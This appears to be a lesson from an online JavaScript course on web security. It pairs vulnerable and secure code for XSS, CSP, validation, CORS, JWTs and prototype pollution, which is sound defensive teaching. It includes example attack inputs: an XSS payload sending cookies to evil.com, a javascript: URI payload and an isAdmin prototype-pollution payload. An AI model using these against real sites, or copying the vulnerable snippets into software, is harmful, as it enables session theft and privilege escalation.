Skip to main content
JavaScript advanced Lesson 23 of 24

JavaScript Security Best Practices

Learn how to protect JavaScript applications from XSS, CSRF, prototype pollution, insecure JWT handling, and other common web security vulnerabilities.

Security in JavaScript applications means defending against a specific, well-understood set of attacks. Each vulnerability has a clear mechanism and a clear fix. This guide shows vulnerable code alongside the secure alternative so you understand not just what to do, but why it matters.

Cross-Site Scripting (XSS)

XSS is the most common web security vulnerability. It lets attackers inject scripts that run in other users’ browsers — stealing session tokens, making API calls on the victim’s behalf, or defacing the UI. It happens whenever user-controlled data reaches the browser as HTML rather than plain text. The fix is consistent: treat user data as text, never as markup.

Reflected and Stored XSS

// VULNERABLE: reflecting user input as HTML — an attacker can inject a script tag
const username = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = `Hello, ${username}!`;
// Attacker URL: ?name=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

// SECURE: textContent treats the value as plain text — HTML is never parsed
document.getElementById("greeting").textContent = `Hello, ${username}!`;

DOM-Based XSS

DOM-based XSS happens entirely in the browser — the server never sees the malicious payload. Dangerous “sinks” like document.location, element.src, and eval will execute attacker-controlled values if you’re not careful:

// VULNERABLE: writing unsanitized data into a navigation sink
const redirectUrl = new URLSearchParams(location.search).get("next");
document.location = redirectUrl;
// Attacker: ?next=javascript:alert(document.cookie)

// SECURE: validate against an allowlist before using in navigation
function safeRedirect(url) {
  try {
    const parsed = new URL(url, location.origin);
    // Only allow same-origin redirects — block external sites and javascript: URIs
    if (parsed.origin !== location.origin) {
      throw new Error("Redirect to external origin blocked");
    }
    location.href = parsed.toString();
  } catch {
    location.href = "/"; // fall back to home on any invalid input
  }
}

When You Must Render HTML: DOMPurify

Sometimes user-authored rich text is a legitimate feature — comments, blog posts, email body previews. In these cases you genuinely need to render HTML, but you must strip dangerous elements and attributes first. DOMPurify is the standard library for this:

// VULNERABLE: rendering user-authored rich text without sanitization
container.innerHTML = userProvidedHtml;

// SECURE: sanitize with DOMPurify before inserting — strips scripts, event handlers, etc.
import DOMPurify from "dompurify";

const clean = DOMPurify.sanitize(userProvidedHtml, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "ol", "li"],
  ALLOWED_ATTR: ["href", "title", "target"],
  ALLOW_DATA_ATTR: false,
});
container.innerHTML = clean;

// For React — dangerouslySetInnerHTML only with sanitized content
function RichText({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Dangerous APIs to Avoid with User Data

These APIs execute or parse their input — passing user data to any of them is a direct XSS vector:

// Never pass user data to:
eval(userInput);                          // executes arbitrary code
new Function("return " + userInput)();   // same as eval
element.innerHTML = userInput;           // interprets HTML and scripts
element.outerHTML = userInput;
document.write(userInput);
setTimeout(userInput, 100);              // string form executes as code
scriptEl.src = userInput;               // loads an arbitrary script
anchorEl.href = "javascript:" + userInput;

Content Security Policy

Even with careful coding, a single missed XSS vulnerability can be catastrophic. CSP is a browser security header that acts as a second line of defense — it restricts which scripts, styles, and resources can load, so even if injection occurs, the injected script may not be allowed to execute. A strict CSP with nonces is the gold standard.

# In your server's HTTP response headers:
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM_NONCE}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://cdn.example.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
// Express.js — use helmet for CSP headers
import helmet from "helmet";

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      // nonce-based CSP: only scripts with the matching nonce attribute execute
      scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https://cdn.example.com"],
      connectSrc: ["'self'", "https://api.example.com"],
      frameAncestors: ["'none'"],
    },
  })
);

// Generate a unique nonce per request — reusing nonces defeats the purpose
app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomBytes(16).toString("base64");
  next();
});

Input Sanitization and Validation

Client-side validation improves UX but provides zero security — an attacker can bypass it entirely by sending requests directly with curl or Postman. Server-side validation is mandatory. Zod is a popular TypeScript-first schema library that validates and types data in one step:

// Server-side validation with Zod — validates shape, types, and business rules
import { z } from "zod";

const CreateUserSchema = z.object({
  username: z
    .string()
    .min(3)
    .max(30)
    .regex(/^[a-zA-Z0-9_]+$/, "Only alphanumeric and underscore allowed"),
  email: z.string().email(),
  age: z.number().int().min(13).max(120),
  website: z.string().url().optional(),
});

app.post("/users", async (req, res) => {
  const result = CreateUserSchema.safeParse(req.body);

  if (!result.success) {
    return res.status(400).json({
      error: "Validation failed",
      details: result.error.flatten().fieldErrors,
    });
  }

  // result.data is fully typed and validated — safe to use
  const user = result.data;
  await db.createUser(user);
  res.status(201).json({ id: user.id });
});

CORS

CORS controls which origins can make credentialed cross-origin requests. The most dangerous misconfiguration is reflecting the Origin header back — this is equivalent to disabling CORS entirely, since any attacker-controlled site can make authenticated requests to your API:

// VULNERABLE: reflecting the Origin header back — any site can make credentialed requests
app.use((req, res, next) => {
  res.header("Access-Control-Allow-Origin", req.headers.origin); // any origin!
  res.header("Access-Control-Allow-Credentials", "true");        // + credentials = full bypass
  next();
});

// SECURE: explicit allowlist — only known origins are permitted
const ALLOWED_ORIGINS = new Set([
  "https://app.example.com",
  "https://admin.example.com",
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;

  if (ALLOWED_ORIGINS.has(origin)) {
    res.header("Access-Control-Allow-Origin", origin);
    res.header("Vary", "Origin"); // tell caches the response varies by origin
  }

  if (req.method === "OPTIONS") {
    res.header("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE");
    res.header("Access-Control-Allow-Headers", "Content-Type, Authorization");
    res.header("Access-Control-Max-Age", "86400");
    return res.sendStatus(204);
  }

  next();
});

JWT Security

JWTs are widely used for authentication, but several implementation mistakes turn them into vulnerabilities. The most critical: always specify which algorithms are acceptable, and always verify the signature rather than just decoding the payload.

// VULNERABLE: accepting 'none' algorithm — attacker can forge any token
const decoded = jwt.verify(token, secret, {}); // doesn't disable alg:none

// VULNERABLE: not verifying the signature at all
const payload = JSON.parse(atob(token.split(".")[1])); // just decoding, no verification!

// SECURE: explicit algorithm allowlist, short expiry, full verification
import jwt from "jsonwebtoken";

const JWT_SECRET = process.env.JWT_SECRET; // minimum 256-bit random string

function signToken(payload) {
  return jwt.sign(payload, JWT_SECRET, {
    algorithm: "HS256",
    expiresIn: "15m",   // short-lived access tokens reduce the window of theft
    issuer: "api.example.com",
    audience: "app.example.com",
  });
}

function verifyToken(token) {
  return jwt.verify(token, JWT_SECRET, {
    algorithms: ["HS256"], // explicitly reject 'none' and any other algorithm
    issuer: "api.example.com",
    audience: "app.example.com",
  });
}

// Middleware — extract and verify on every protected request
function authenticate(req, res, next) {
  const auth = req.headers.authorization;
  if (!auth?.startsWith("Bearer ")) return res.sendStatus(401);

  try {
    req.user = verifyToken(auth.slice(7));
    next();
  } catch (err) {
    res.status(401).json({ error: "Invalid or expired token" });
  }
}

Prototype Pollution

Prototype pollution happens when user-controlled input is merged into an object using a naive recursive merge that doesn’t guard against __proto__ as a key. Because all plain objects inherit from Object.prototype, polluting it affects every object in the application — potentially allowing privilege escalation or corrupting application state.

// VULNERABLE: naive deep merge with user-controlled input
function deepMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === "object") {
      target[key] = deepMerge(target[key] ?? {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Attacker sends: {"__proto__": {"isAdmin": true}}
deepMerge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
console.log({}.isAdmin); // true — every plain object is now "admin"!

// SECURE: skip prototype-polluting keys during merge
function safeMerge(target, source) {
  for (const key of Object.keys(source)) {
    // Explicitly block the three keys that can reach the prototype chain
    if (key === "__proto__" || key === "constructor" || key === "prototype") {
      continue;
    }
    if (typeof source[key] === "object" && source[key] !== null) {
      target[key] = safeMerge(target[key] ?? Object.create(null), source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Use Object.create(null) for lookup tables — no prototype chain to pollute
const roles = Object.create(null);
roles["alice"] = "admin";
roles["bob"] = "editor";
// roles.__proto__ is undefined — safe to use as a data structure keyed on user input

Security Headers Checklist

Security headers are a low-effort, high-value layer of defense. helmet for Express sets sensible defaults for all of them in one line:

// Express + helmet covers most of these in a single call
app.use(helmet()); // sets sensible defaults for all headers below

// Key headers set by helmet:
// X-Content-Type-Options: nosniff       — prevent MIME type sniffing attacks
// X-Frame-Options: DENY                 — prevent clickjacking via iframes
// Strict-Transport-Security             — force HTTPS, reject plain HTTP
// X-XSS-Protection: 0                  — disable the buggy browser XSS filter (CSP is better)
// Referrer-Policy: strict-origin-when-cross-origin
// Permissions-Policy: geolocation=(), camera=()  — restrict sensitive browser features

Quick Reference

ThreatPrevention
XSStextContent, DOMPurify, CSP
Prototype pollutionBlock __proto__ in merges, Object.create(null)
Insecure JWTExplicit algorithm, short expiry, algorithms option
CORS bypassExplicit origin allowlist, Vary: Origin
Sensitive data exposureNever log tokens/passwords, HttpOnly cookies
eval / code injectionNever pass user data to eval, Function(), setTimeout(string)

Frequently Asked Questions

What is the most common JavaScript security vulnerability?
Cross-Site Scripting (XSS) is consistently the most prevalent. It occurs when user-supplied data is rendered as HTML without sanitization, allowing attackers to inject and execute arbitrary scripts in other users' browsers. The fix is to use textContent instead of innerHTML for user data, and sanitize with DOMPurify when HTML output is genuinely needed.
Is it safe to store JWTs in localStorage?
It's a tradeoff. localStorage is accessible to JavaScript and therefore vulnerable to XSS attacks — if an attacker can run JS on your page, they can steal the token. HttpOnly cookies are not accessible to JavaScript (XSS-safe), but they're vulnerable to CSRF attacks. HttpOnly cookies with proper CSRF protection is generally the more secure choice for session tokens.
What is prototype pollution?
Prototype pollution is a vulnerability where an attacker manipulates Object.prototype by passing crafted input like { '__proto__': { 'isAdmin': true } }. Since all objects inherit from Object.prototype, this can affect application logic globally. Prevent it by validating merge/deep-clone inputs, using Object.create(null) for lookup tables, and avoiding recursive merge of untrusted data.